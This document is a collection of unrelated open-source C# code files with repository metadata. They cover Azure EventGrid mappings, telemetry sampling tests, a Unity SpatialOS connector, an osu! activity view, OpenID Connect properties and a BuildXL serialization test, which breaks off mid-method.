EventTypes.ServiceBusActiveMessagesAvailableWithNoListenersEvent, ServiceBusActiveMessagesAvailableWithNoListenersEventData.DeserializeServiceBusActiveMessagesAvailableWithNoListenersEventData }, { EventTypes.ServiceBusDeadletterMessagesAvailableWithNoListenerEvent, ServiceBusDeadletterMessagesAvailableWithNoListenersEventData.DeserializeServiceBusDeadletterMessagesAvailableWithNoListenersEventData }, // Storage events { EventTypes.StorageBlobCreatedEvent, StorageBlobCreatedEventData.DeserializeStorageBlobCreatedEventData }, { EventTypes.StorageBlobDeletedEvent, StorageBlobDeletedEventData.DeserializeStorageBlobDeletedEventData }, { EventTypes.StorageBlobRenamedEvent, StorageBlobRenamedEventData.DeserializeStorageBlobRenamedEventData }, { EventTypes.StorageDirectoryCreatedEvent, StorageDirectoryCreatedEventData.DeserializeStorageDirectoryCreatedEventData }, { EventTypes.StorageDirectoryDeletedEvent, StorageDirectoryDeletedEventData.DeserializeStorageDirectoryDeletedEventData }, { EventTypes.StorageDirectoryRenamedEvent, StorageDirectoryRenamedEventData.DeserializeStorageDirectoryRenamedEventData }, { EventTypes.StorageLifecyclePolicyCompletedEvent, StorageLifecyclePolicyCompletedEventData.DeserializeStorageLifecyclePolicyCompletedEventData }, // App Service { EventTypes.WebAppUpdated, WebAppUpdatedEventData.DeserializeWebAppUpdatedEventData }, { EventTypes.WebBackupOperationStarted, WebBackupOperationStartedEventData.DeserializeWebBackupOperationStartedEventData }, { EventTypes.WebBackupOperationCompleted, WebBackupOperationCompletedEventData.DeserializeWebBackupOperationCompletedEventData }, { EventTypes.WebBackupOperationFailed, WebBackupOperationFailedEventData.DeserializeWebBackupOperationFailedEventData }, { EventTypes.WebRestoreOperationStarted, WebRestoreOperationStartedEventData.DeserializeWebRestoreOperationStartedEventData }, { EventTypes.WebRestoreOperationCompleted, WebRestoreOperationCompletedEventData.DeserializeWebRestoreOperationCompletedEventData }, { EventTypes.WebRestoreOperationFailed, WebRestoreOperationFailedEventData.DeserializeWebRestoreOperationFailedEventData }, { EventTypes.WebSlotSwapStarted, WebSlotSwapStartedEventData.DeserializeWebSlotSwapStartedEventData }, { EventTypes.WebSlotSwapCompleted, WebSlotSwapCompletedEventData.DeserializeWebSlotSwapCompletedEventData }, { EventTypes.WebSlotSwapFailed, WebSlotSwapFailedEventData.DeserializeWebSlotSwapFailedEventData }, { EventTypes.WebSlotSwapWithPreviewStarted, WebSlotSwapWithPreviewStartedEventData.DeserializeWebSlotSwapWithPreviewStartedEventData }, { EventTypes.WebSlotSwapWithPreviewCancelled, WebSlotSwapWithPreviewCancelledEventData.DeserializeWebSlotSwapWithPreviewCancelledEventData }, { EventTypes.WebAppServicePlanUpdated, WebAppServicePlanUpdatedEventData.DeserializeWebAppServicePlanUpdatedEventData } }; } }
101.090226
220
0.826329
[ "MIT" ]
bquantump/azure-sdk-for-net
sdk/eventgrid/Azure.Messaging.EventGrid/src/Customization/SystemEventTypeMappings.cs
13,447
C#
namespace Microsoft.ApplicationInsights.WindowsServer.Channel.Implementation { using System; using Microsoft.VisualStudio.TestTools.UnitTesting; [TestClass] public class SamplingPercentageEstimatorSettingsTest { [TestMethod] public void MaxTelemetryItemsPerSecondAdjustedIfSetToIncorrectValue() { var settings = new SamplingPercentageEstimatorSettings(); settings.MaxTelemetryItemsPerSecond = -10; Assert.AreEqual(1E-12, settings.EffectiveMaxTelemetryItemsPerSecond, 12); } [TestMethod] public void MinSamplingRateAdjustedIfSetToIncorrectValue() { var settings = new SamplingPercentageEstimatorSettings(); settings.MaxSamplingPercentage = 200; Assert.AreEqual(1, settings.EffectiveMinSamplingRate); settings.MaxSamplingPercentage = -1; Assert.AreEqual(1E8, settings.EffectiveMinSamplingRate); } [TestMethod] public void MaxSamplingRateAdjustedIfSetToIncorrectValue() { var settings = new SamplingPercentageEstimatorSettings(); settings.MinSamplingPercentage = 200; Assert.AreEqual(1, settings.EffectiveMaxSamplingRate); settings.MinSamplingPercentage = -1; Assert.AreEqual(1E8, settings.EffectiveMaxSamplingRate); } [TestMethod] public void EvaluationIntervalSecondsAdjustedIfSetToIncorrectValue() { var settings = new SamplingPercentageEstimatorSettings(); settings.EvaluationInterval = TimeSpan.Zero; Assert.AreEqual(TimeSpan.FromSeconds(15), settings.EffectiveEvaluationInterval); } [TestMethod] public void SamplingPercentageDecreaseTimeoutSecondsAdjustedIfSetToIncorrectValue() { var settings = new SamplingPercentageEstimatorSettings(); settings.SamplingPercentageDecreaseTimeout = TimeSpan.Zero; Assert.AreEqual(TimeSpan.FromMinutes(2), settings.EffectiveSamplingPercentageDecreaseTimeout); } [TestMethod] public void SamplingPercentageIncreaseTimeoutSecondsAdjustedIfSetToIncorrectValue() { var settings = new SamplingPercentageEstimatorSettings(); settings.SamplingPercentageIncreaseTimeout = TimeSpan.Zero; Assert.AreEqual(TimeSpan.FromMinutes(15), settings.EffectiveSamplingPercentageIncreaseTimeout); } [TestMethod] public void MovingAverageRatioSecondsAdjustedIfSetToIncorrectValue() { var settings = new SamplingPercentageEstimatorSettings(); settings.MovingAverageRatio = -3; Assert.AreEqual(0.25, settings.EffectiveMovingAverageRatio, 12); } } }
35.78481
107
0.685532
[ "MIT" ]
304NotModified/ApplicationInsights-dotnet
BASE/Test/ServerTelemetryChannel.Test/TelemetryChannel.Tests/Implementation/SamplingPercentageEstimatorSettingsTest.cs
2,829
C#
using Improbable.Gdk.Core; using Improbable.Gdk.GameObjectCreation; using Improbable.Gdk.PlayerLifecycle; using Improbable.Gdk.TransformSynchronization; using Improbable.Worker.CInterop; using System; using UnityEngine; namespace BlankProject { public class UnityGameLogicConnector : WorkerConnector { [SerializeField] private string connectToLanIp = null; public event Action<ServerGameObjectCreator> OnCreatorCreated; public ServerGameObjectCreator TransformGameObjectCreator { get; private set; } private void Awake() { Application.targetFrameRate = 15; } private async void Start() { PlayerLifecycleConfig.CreatePlayerEntityTemplate = EntityTemplates.CreatePlayerEntityTemplate; ReceptionistFlow flow; ConnectionParameters connectionParameters; if (Application.isEditor) { flow = new ReceptionistFlow(CreateNewWorkerId(WorkerUtils.UnityGameLogic)); if (!string.IsNullOrEmpty(connectToLanIp)) { flow.ReceptionistHost = connectToLanIp; } connectionParameters = CreateConnectionParameters(WorkerUtils.UnityGameLogic); } else { flow = new ReceptionistFlow(CreateNewWorkerId(WorkerUtils.UnityGameLogic), new CommandLineConnectionFlowInitializer()); if (!string.IsNullOrEmpty(connectToLanIp)) { flow.ReceptionistHost = connectToLanIp; } connectionParameters = CreateConnectionParameters(WorkerUtils.UnityGameLogic, new CommandLineConnectionParameterInitializer()); } if (!string.IsNullOrEmpty(connectToLanIp)) { connectionParameters.Network.UseExternalIp = true; } var builder = new SpatialOSConnectionHandlerBuilder() .SetConnectionFlow(flow) .SetConnectionParameters(connectionParameters); await Connect(builder, new ForwardingDispatcher()).ConfigureAwait(false); } protected override void HandleWorkerConnectionEstablished() { Worker.World.GetOrCreateSystem<MetricSendSystem>(); Worker.World.GetOrCreateSystem<ServerUnitTransformCmdSystem>(); Worker.World.GetOrCreateSystem<PhysicsCubeCreateSystem_SpatialOS>(); Worker.World.GetOrCreateSystem<PhysicsBodiesMoveSystem_SpatialOS>(); Worker.World.GetOrCreateSystem<ServerPlayerMovementSystem>(); Worker.World.GetOrCreateSystem<ServerUnitTransformSyncSystem>(); PlayerLifecycleHelper.AddServerSystems(Worker.World); TransformGameObjectCreator = new ServerGameObjectCreator(Worker, WorkerUtils.UnityGameLogic, transform.position); GameObjectCreationHelper.EnableStandardGameObjectCreation(Worker.World, TransformGameObjectCreator); OnCreatorCreated?.Invoke(TransformGameObjectCreator); TransformSynchronizationHelper.AddServerSystems(Worker.World); } } }
38.392857
125
0.664186
[ "MIT" ]
kaminaritukane/MoveCubePhysics
workers/CubeNetworkPrototype/Assets/BlankProject/Scripts/Workers/UnityGameLogicConnector.cs
3,227
C#
// Copyright (c) Microsoft Corporation. // Licensed under the MIT license. using System.Collections.Generic; using Microsoft.PowerFx.Core.Functions; using Microsoft.PowerFx.Core.Localization; using Microsoft.PowerFx.Core.Types; namespace Microsoft.PowerFx.Core.Texl.Builtins { // Atan2(number:x, number:y) // Equivalent Excel function: Atan2 internal sealed class Atan2Function : BuiltinFunction { public override bool IsSelfContained => true; public override bool RequiresErrorContext => true; public Atan2Function() : base( "Atan2", TexlStrings.AboutAtan2, FunctionCategories.MathAndStat, DType.Number, // return type 0, // no lambdas 2, // min arity of 2 2, // max arity of 2 DType.Number, // first param is numeric DType.Number) // second param is numeric { } public override IEnumerable<TexlStrings.StringGetter[]> GetSignatures() { yield return new[] { TexlStrings.AboutAtan2Arg1, TexlStrings.AboutAtan2Arg2 }; } public override bool SupportsParamCoercion => true; } }
31.097561
90
0.597647
[ "MIT" ]
Grant-Archibald-MS/Power-Fx
src/libraries/Microsoft.PowerFx.Core/Texl/Builtins/Atan2.cs
1,277
C#
 using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Threading.Tasks; namespace IV._03.Football_League { class Team { public int Points { get; set; } public int Goals { get; set; } public Team(int points, int goals) { this.Points = points; this.Goals = goals; } } class Program { static void Main(string[] args) { var standingsTable = new Dictionary<string, Team>(); string key = Console.ReadLine(); string escapedKey = Regex.Escape(key); string pattern = string.Format(@"(?<={0})(?<teamA>[A-Za-z]*)(?={0}).*(?<={0})(?<teamB>[A-Za-z]*)(?={0})[^ ]+ (?<scoreA>\d+):(?<scoreB>\d+)", escapedKey); Regex gameRegex = new Regex(pattern); string input = Console.ReadLine(); while (input != "final") { Match match = gameRegex.Match(input); string teamA = Reverse(match.Groups["teamA"].Value).ToUpper(); string teamB = Reverse(match.Groups["teamB"].Value).ToUpper(); int scoreA = int.Parse(match.Groups["scoreA"].Value); int scoreB = int.Parse(match.Groups["scoreB"].Value); if (!standingsTable.ContainsKey(teamA)) { standingsTable.Add(teamA, new Team(0, 0)); } if (!standingsTable.ContainsKey(teamB)) { standingsTable.Add(teamB, new Team(0, 0)); } standingsTable[teamA].Goals += scoreA; standingsTable[teamB].Goals += scoreB; if (scoreA > scoreB) { standingsTable[teamA].Points += 3; } else if (scoreB > scoreA) { standingsTable[teamB].Points += 3; } else if (scoreA == scoreB) { standingsTable[teamA].Points += 1; standingsTable[teamB].Points += 1; } input = Console.ReadLine(); } var orderedByPoints = standingsTable .OrderByDescending(t => t.Value.Points) .ThenBy(t => t.Key); var topThreeByGoals = standingsTable .OrderByDescending(t => t.Value.Goals) .ThenBy(t => t.Key) .Take(3); int standingsPos = 1; Console.WriteLine("League standings:"); foreach (var teamData in orderedByPoints) { string teamName = teamData.Key; Team team = teamData.Value; Console.WriteLine("{0}. {1} {2}", standingsPos, teamName, team.Points); standingsPos++; } Console.WriteLine("Top 3 scored goals:"); foreach (var teamData in topThreeByGoals) { string teamName = teamData.Key; Team team = teamData.Value; Console.WriteLine("- {0} -> {1}", teamName, team.Goals); } } static string Reverse(string input) { string result = ""; for (int cnt = input.Length - 1; cnt >= 0; --cnt) { result += input[cnt]; } return result; } } }
21.210938
156
0.617311
[ "MIT" ]
stanislaviv/Programming-Fundamentals-May-2017
16_ExamPreparations/16_ExamPrep1/IV.03. Football League/IV.03. Football League.cs
2,717
C#
// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence. // See the LICENCE file in the repository root for full licence text. using System.Linq; using osu.Framework.Allocation; using osu.Framework.Graphics; using osu.Framework.Graphics.Containers; using osu.Framework.Graphics.Sprites; using osu.Game.Graphics; using osu.Game.Graphics.Containers; using osu.Game.Online.API; using osu.Game.Online.API.Requests; using osu.Game.Online.API.Requests.Responses; using osu.Game.Online.Chat; using osu.Game.Online.Leaderboards; using osu.Game.Rulesets; namespace osu.Game.Overlays.Profile.Sections.Recent { public class DrawableRecentActivity : CompositeDrawable { private const int font_size = 14; [Resolved] private IAPIProvider api { get; set; } [Resolved] private RulesetStore rulesets { get; set; } private readonly APIRecentActivity activity; private LinkFlowContainer content; public DrawableRecentActivity(APIRecentActivity activity) { this.activity = activity; } [BackgroundDependencyLoader] private void load(OverlayColourProvider colourProvider) { RelativeSizeAxes = Axes.X; AutoSizeAxes = Axes.Y; AddInternal(new GridContainer { RelativeSizeAxes = Axes.X, AutoSizeAxes = Axes.Y, ColumnDimensions = new[] { new Dimension(GridSizeMode.Absolute, size: 28), new Dimension(), new Dimension(GridSizeMode.AutoSize) }, RowDimensions = new[] { new Dimension(GridSizeMode.AutoSize) }, Content = new[] { new Drawable[] { new Container { RelativeSizeAxes = Axes.X, AutoSizeAxes = Axes.Y, Child = createIcon().With(icon => { icon.Anchor = Anchor.Centre; icon.Origin = Anchor.Centre; }) }, content = new LinkFlowContainer(t => t.Font = OsuFont.GetFont(size: font_size)) { Anchor = Anchor.CentreLeft, Origin = Anchor.CentreLeft, AutoSizeAxes = Axes.Y, RelativeSizeAxes = Axes.X, }, new DrawableDate(activity.CreatedAt) { Anchor = Anchor.CentreRight, Origin = Anchor.CentreRight, Colour = colourProvider.Foreground1, Font = OsuFont.GetFont(size: font_size), } } } }); createMessage(); } private Drawable createIcon() { switch (activity.Type) { case RecentActivityType.Rank: return new UpdateableRank(activity.ScoreRank) { RelativeSizeAxes = Axes.X, Height = 11, FillMode = FillMode.Fit, Margin = new MarginPadding { Top = 2 } }; case RecentActivityType.Achievement: return new DelayedLoadWrapper(new MedalIcon(activity.Achievement.Slug) { Anchor = Anchor.Centre, Origin = Anchor.Centre, RelativeSizeAxes = Axes.Both, FillMode = FillMode.Fit, }) { RelativeSizeAxes = Axes.X, Width = 0.5f, Height = 18 }; default: return Empty(); } } private void createMessage() { switch (activity.Type) { case RecentActivityType.Achievement: addUserLink(); addText($" unlocked the \"{activity.Achievement.Name}\" medal!"); break; case RecentActivityType.BeatmapPlaycount: addBeatmapLink(); addText($" has been played {activity.Count} times!"); break; case RecentActivityType.BeatmapsetApprove: addBeatmapsetLink(); addText($" has been {activity.Approval.ToString().ToLowerInvariant()}!"); break; case RecentActivityType.BeatmapsetDelete: addBeatmapsetLink(); addText(" has been deleted."); break; case RecentActivityType.BeatmapsetRevive: addBeatmapsetLink(); addText(" has been revived from eternal slumber by "); addUserLink(); break; case RecentActivityType.BeatmapsetUpdate: addUserLink(); addText(" has updated the beatmap "); addBeatmapsetLink(); break; case RecentActivityType.BeatmapsetUpload: addUserLink(); addText(" has submitted a new beatmap "); addBeatmapsetLink(); break; case RecentActivityType.Medal: // apparently this shouldn't exist look at achievement instead (https://github.com/ppy/osu-web/blob/master/resources/assets/coffee/react/profile-page/recent-activity.coffee#L111) break; case RecentActivityType.Rank: addUserLink(); addText($" achieved rank #{activity.Rank} on "); addBeatmapLink(); addText($" ({getRulesetName()})"); break; case RecentActivityType.RankLost: addUserLink(); addText(" has lost first place on "); addBeatmapLink(); addText($" ({getRulesetName()})"); break; case RecentActivityType.UserSupportAgain: addUserLink(); addText(" has once again chosen to support osu! - thanks for your generosity!"); break; case RecentActivityType.UserSupportFirst: addUserLink(); addText(" has become an osu!supporter - thanks for your generosity!"); break; case RecentActivityType.UserSupportGift: addUserLink(); addText(" has received the gift of osu!supporter!"); break; case RecentActivityType.UsernameChange: addText($"{activity.User?.PreviousUsername} has changed their username to "); addUserLink(); break; } } private string getRulesetName() => rulesets.AvailableRulesets.FirstOrDefault(r => r.ShortName == activity.Mode)?.Name ?? activity.Mode; private void addUserLink() => content.AddLink(activity.User?.Username, LinkAction.OpenUserProfile, getLinkArgument(activity.User?.Url), creationParameters: t => t.Font = getLinkFont(FontWeight.Bold)); private void addBeatmapLink() => content.AddLink(activity.Beatmap?.Title, LinkAction.OpenBeatmap, getLinkArgument(activity.Beatmap?.Url), creationParameters: t => t.Font = getLinkFont()); private void addBeatmapsetLink() => content.AddLink(activity.Beatmapset?.Title, LinkAction.OpenBeatmapSet, getLinkArgument(activity.Beatmapset?.Url), creationParameters: t => t.Font = getLinkFont()); private string getLinkArgument(string url) => MessageFormatter.GetLinkDetails($"{api.APIEndpointUrl}{url}").Argument; private FontUsage getLinkFont(FontWeight fontWeight = FontWeight.Regular) => OsuFont.GetFont(size: font_size, weight: fontWeight, italics: true); private void addText(string text) => content.AddText(text, t => t.Font = OsuFont.GetFont(size: font_size, weight: FontWeight.SemiBold)); } }
39.570175
199
0.489581
[ "MIT" ]
02Naitsirk/osu
osu.Game/Overlays/Profile/Sections/Recent/DrawableRecentActivity.cs
8,797
C#
/* * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ /* * Do not modify this file. This file is generated from the databrew-2017-07-25.normal.json service model. */ namespace Amazon.GlueDataBrew.Model { /// <summary> /// Paginators for the GlueDataBrew service ///</summary> public interface IGlueDataBrewPaginatorFactory { /// <summary> /// Paginator for ListDatasets operation ///</summary> IListDatasetsPaginator ListDatasets(ListDatasetsRequest request); /// <summary> /// Paginator for ListJobRuns operation ///</summary> IListJobRunsPaginator ListJobRuns(ListJobRunsRequest request); /// <summary> /// Paginator for ListJobs operation ///</summary> IListJobsPaginator ListJobs(ListJobsRequest request); /// <summary> /// Paginator for ListProjects operation ///</summary> IListProjectsPaginator ListProjects(ListProjectsRequest request); /// <summary> /// Paginator for ListRecipes operation ///</summary> IListRecipesPaginator ListRecipes(ListRecipesRequest request); /// <summary> /// Paginator for ListRecipeVersions operation ///</summary> IListRecipeVersionsPaginator ListRecipeVersions(ListRecipeVersionsRequest request); /// <summary> /// Paginator for ListSchedules operation ///</summary> IListSchedulesPaginator ListSchedules(ListSchedulesRequest request); } }
32.698413
106
0.670874
[ "Apache-2.0" ]
ChristopherButtars/aws-sdk-net
sdk/src/Services/GlueDataBrew/Generated/Model/_bcl45+netstandard/IGlueDataBrewPaginatorFactory.cs
2,060
C#
using Xamarin.Forms; using Xamarin.Forms.Xaml; namespace XamarinSample.Pies.Custom; [XamlCompilation(XamlCompilationOptions.Compile)] public partial class View : ContentPage { public View() { InitializeComponent(); } }
17.285714
49
0.727273
[ "MIT" ]
Live-Charts/LiveCharts2
samples/XamarinSample/XamarinSample/XamarinSample/Pies/Custom/View.xaml.cs
244
C#
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. using Microsoft.AspNetCore.Authentication.OAuth; using Microsoft.IdentityModel.Protocols.OpenIdConnect; namespace Microsoft.AspNetCore.Authentication.OpenIdConnect; /// <summary> /// <see cref="AuthenticationProperties"/> for an OpenId Connect challenge. /// </summary> public class OpenIdConnectChallengeProperties : OAuthChallengeProperties { /// <summary> /// The parameter key for the "max_age" argument being used for a challenge request. /// </summary> public static readonly string MaxAgeKey = OpenIdConnectParameterNames.MaxAge; /// <summary> /// The parameter key for the "prompt" argument being used for a challenge request. /// </summary> public static readonly string PromptKey = OpenIdConnectParameterNames.Prompt; /// <summary> /// Initializes a new instance of <see cref="OpenIdConnectChallengeProperties"/>. /// </summary> public OpenIdConnectChallengeProperties() { } /// <summary> /// Initializes a new instance of <see cref="OpenIdConnectChallengeProperties"/>. /// </summary> /// <inheritdoc /> public OpenIdConnectChallengeProperties(IDictionary<string, string?> items) : base(items) { } /// <summary> /// Initializes a new instance of <see cref="OpenIdConnectChallengeProperties"/>. /// </summary> /// <inheritdoc /> public OpenIdConnectChallengeProperties(IDictionary<string, string?> items, IDictionary<string, object?> parameters) : base(items, parameters) { } /// <summary> /// The "max_age" parameter value being used for a challenge request. /// </summary> public TimeSpan? MaxAge { get => GetParameter<TimeSpan?>(MaxAgeKey); set => SetParameter(MaxAgeKey, value); } /// <summary> /// The "prompt" parameter value being used for a challenge request. /// </summary> public string? Prompt { get => GetParameter<string>(PromptKey); set => SetParameter(PromptKey, value); } }
33.46875
120
0.681606
[ "MIT" ]
3ejki/aspnetcore
src/Security/Authentication/OpenIdConnect/src/OpenIdConnectChallengeProperties.cs
2,142
C#
function AssetBrowser::createCubemapAsset(%this) { Canvas.pushDialog(CubemapEditor); return; %moduleName = AssetBrowser.newAssetSettings.moduleName; %modulePath = "data/" @ %moduleName; %assetName = AssetBrowser.newAssetSettings.assetName; %tamlpath = %modulePath @ "/cubemaps/" @ %assetName @ ".asset.taml"; %shapeFilePath = %modulePath @ "/cubemaps/" @ %assetName @ ".dae"; %asset = new CubemapAsset() { AssetName = %assetName; versionId = 1; friendlyName = AssetBrowser.newAssetSettings.friendlyName; description = AssetBrowser.newAssetSettings.description; fileName = %assetName @ ".dae"; }; TamlWrite(%asset, %tamlpath); Canvas.popDialog(AssetBrowser_newComponentAsset); %moduleDef = ModuleDatabase.findModule(%moduleName, 1); AssetDatabase.addDeclaredAsset(%moduleDef, %tamlpath); AssetBrowser.loadFilters(); %treeItemId = AssetBrowserFilterTree.findItemByName(%moduleName); %smItem = AssetBrowserFilterTree.findChildItemByName(%treeItemId, "CubemapAsset"); AssetBrowserFilterTree.onSelect(%smItem); return %tamlpath; } function AssetBrowser::editCubemapAsset(%this, %assetDef) { %this.hideDialog(); CubemapEditor.openCubemapAsset(%assetDef); } //Renames the asset function AssetBrowser::renameCubemapAsset(%this, %assetDef, %newAssetName) { /*%newCodeLooseFilename = renameAssetLooseFile(%assetDef.codefile, %newAssetName); if(!%newCodeLooseFilename $= "") return; %newHeaderLooseFilename = renameAssetLooseFile(%assetDef.headerFile, %newAssetName); if(!%newHeaderLooseFilename $= "") return; %assetDef.codefile = %newCodeLooseFilename; %assetDef.headerFile = %newHeaderLooseFilename; %assetDef.saveAsset(); renameAssetFile(%assetDef, %newAssetName);*/ } //Deletes the asset function AssetBrowser::deleteCubemapAsset(%this, %assetDef) { AssetDatabase.deleteAsset(%assetDef.getAssetId(), true); } //Moves the asset to a new path/module function AssetBrowser::moveCubemapAsset(%this, %assetDef, %destination) { /*%currentModule = AssetDatabase.getAssetModule(%assetDef.getAssetId()); %targetModule = AssetBrowser.getModuleFromAddress(%destination); %newAssetPath = moveAssetFile(%assetDef, %destination); if(%newAssetPath $= "") return false; moveAssetLooseFile(%assetDef.codeFile, %destination); moveAssetLooseFile(%assetDef.headerFile, %destination); AssetDatabase.removeDeclaredAsset(%assetDef.getAssetId()); AssetDatabase.addDeclaredAsset(%targetModule, %newAssetPath);*/ } function GuiInspectorTypeCubemapAssetPtr::onControlDropped( %this, %payload, %position ) { Canvas.popDialog(EditorDragAndDropLayer); // Make sure this is a color swatch drag operation. if( !%payload.parentGroup.isInNamespaceHierarchy( "AssetPreviewControlType_AssetDrop" ) ) return; %assetType = %payload.dragSourceControl.parentGroup.assetType; if(%assetType $= "CubemapAsset") { echo("DROPPED A CUBEMAP ON A CUBEMAP ASSET COMPONENT FIELD!"); %module = %payload.dragSourceControl.parentGroup.moduleName; %asset = %payload.dragSourceControl.parentGroup.assetName; %targetComponent = %this.object; %targetComponent.CubemapAsset = %module @ ":" @ %asset; //Inspector.refresh(); } EWorldEditor.isDirty = true; }
31.035088
93
0.69022
[ "MIT" ]
Areloch/GG-Torque3D
Templates/BaseGame/game/tools/assetBrowser/scripts/assetTypes/cubemap.cs
3,425
C#
/* * Copyright 2015-2018 Mohawk College of Applied Arts and Technology * * * Licensed under the Apache License, Version 2.0 (the "License"); you * may not use this file except in compliance with the License. You may * obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations under * the License. * * User: fyfej * Date: 2017-9-1 */ using OpenIZ.Core.Model.Security; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace OpenIZ.Mobile.Core.Security { /// <summary> /// Represents a policy instance /// </summary> public class GenericPolicyInstance : IPolicyInstance { /// <summary> /// Constructs a new instance of the policy instance /// </summary> public GenericPolicyInstance(IPolicy policy, PolicyGrantType rule) { this.Policy = policy; this.Rule = rule; } /// <summary> /// Gets the policy to which the instance applies /// </summary> public IPolicy Policy { get; private set; } /// <summary> /// Gets the rule or, rather, the enforcement type /// </summary> public PolicyGrantType Rule { get;private set; } /// <summary> /// Gets or sets the policy securable /// </summary> public object Securable { get;private set; } } }
27.897059
82
0.592514
[ "Apache-2.0" ]
MohawkMEDIC/openizdc
OpenIZ.Mobile.Core/Security/GenericPolicyInstance.cs
1,899
C#
using NUnit.Framework; using Saliavustaja.Entiteetit; using Saliavustaja.TietokantaLiittymat; using System.Collections.Generic; namespace SaliavustajaTests { [TestFixture] public class InMemoryPoytaDbTest { InMemoryPoytaDb poytaDb; [SetUp] public void TestienAlustus() { poytaDb = new InMemoryPoytaDb(); } [Test] public void KuuluisiHakeaPoytaTunnisteella() { Poyta poyta = poytaDb.Hae(4); Assert.That(poyta, Is.Not.Null); Assert.AreEqual(4, poyta.Id); Assert.AreEqual(6, poyta.PaikkojenMaara); } [Test] public void KuuluisiHakeaKaikkiPoydat() { List<Poyta> kaikkiPoydat = poytaDb.HaeKaikki(); Assert.That(kaikkiPoydat, Is.InstanceOf<List<Poyta>>()); Assert.AreEqual(10, kaikkiPoydat.Count); } [Test] public void KuuluisiVarataPoyta() { List<Poyta> kaikkiPoydat = poytaDb.HaeKaikki(); Poyta poyta = kaikkiPoydat[4]; Assert.AreEqual(false, poyta.OnkoVarattu()); poytaDb.VaraaPoyta(poyta.Id); kaikkiPoydat = poytaDb.HaeKaikki(); Poyta varattuPoyta = kaikkiPoydat[4]; Assert.AreEqual(true, varattuPoyta.OnkoVarattu()); } } }
26.882353
68
0.584974
[ "MIT" ]
nyluntu/saliavustaja
SaliavustajaTests.NUnit/InMemoryPoytaDbTest.cs
1,373
C#
namespace NerfDX.DirectInput { /// <summary> /// Friendly translation for JoystickUpdate values when JoystickOffset is a button /// </summary> public enum ButtonValues { Unknown = -1, Release = 0, Press = 128, } /// <summary> /// Friendly translation for POV values when JoystickOffset is a POV hat or d-pad /// </summary> public enum POVStates { Release = -1, Up = 0, Upright = 4500, Right = 9000, Downright = 13500, Down = 18000, Downleft = 22500, Left = 27000, Upleft = 31500, } }
21.724138
86
0.538095
[ "MIT" ]
htadwilliams/NerfDX
NerfDX/DirectInput/Enums.cs
632
C#
// Authors: // Jose Medrano <josmed@microsoft.com> // // Copyright (C) 2018 Microsoft, Corp // // Permission is hereby granted, free of charge, to any person obtaining // a copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to permit // persons to whom the Software is furnished to do so, subject to the // following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE // USE OR OTHER DEALINGS IN THE SOFTWARE. using System; using FigmaSharp.Views.Native.Cocoa; namespace FigmaSharp.Views.Cocoa { public class SearchBox : View, ISearchBox { FNSSearchField searchField; public event EventHandler Changed; public SearchBox () : this (new FNSSearchField ()) { } public SearchBox (FNSSearchField searchField) : base (searchField) { this.searchField = searchField; this.searchField.TranslatesAutoresizingMaskIntoConstraints = false; this.searchField.Changed += TextField_Changed; } private void TextField_Changed (object sender, EventArgs e) { Changed?.Invoke (this, EventArgs.Empty); } public string Text { get => searchField.StringValue; set { searchField.StringValue = value ?? ""; } } public string PlaceHolderString { get => searchField.PlaceholderString; set { searchField.PlaceholderString = value ?? ""; } } public Color ForegroundColor { get => searchField.TextColor.ToColor (); set => searchField.TextColor = value.ToNSColor (); } public override void Dispose () { searchField.Changed -= TextField_Changed; base.Dispose (); } } }
29.487179
77
0.729565
[ "MIT" ]
Youssef1313/FigmaSharp
FigmaSharp.Views/FigmaSharp.Views.Cocoa/ViewWrappers/SearchBox.cs
2,302
C#
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System.IO; using BuildXL.Utilities; using BuildXL.Utilities.Serialization; using Xunit; using static Test.BuildXL.TestUtilities.Xunit.XunitBuildXLTest; namespace Test.BuildXL.Utilities { public sealed class InliningWriterTests { [Fact] public void RoundTripInlining() { var pt = new PathTable(); var st = pt.StringTable; var paths = new AbsolutePath[] { AbsolutePath.Create(pt, A("c","a","b","c","d")), AbsolutePath.Create(pt, A("c","a","b","c")), AbsolutePath.Create(pt, A("d","AAA","CCC")), AbsolutePath.Create(pt, A("D","AAA","CCC")), AbsolutePath.Create(pt, A("F","BBB","CCC")) }; var strings = new StringId[] { StringId.Create(st, "AAA"), StringId.Create(st, "hello"), StringId.Create(st, "繙BШЂЋЧЉЊЖ"), StringId.Create(st, "buildxl"), StringId.Create(st, "inline") }; using (var stream = new MemoryStream()) { using (var writer = new InliningWriter(stream, pt)) { for (int i = 0; i < paths.Length; i++) { writer.Write(paths[i]); writer.Write(strings[i]); } } stream.Position = 0; using (var reader = new InliningReader(stream, pt)) { for (int i = 0; i < paths.Length; i++) { var readPath = reader.ReadAbsolutePath(); var readString = reader.ReadStringId(); Assert.Equal(paths[i], readPath); 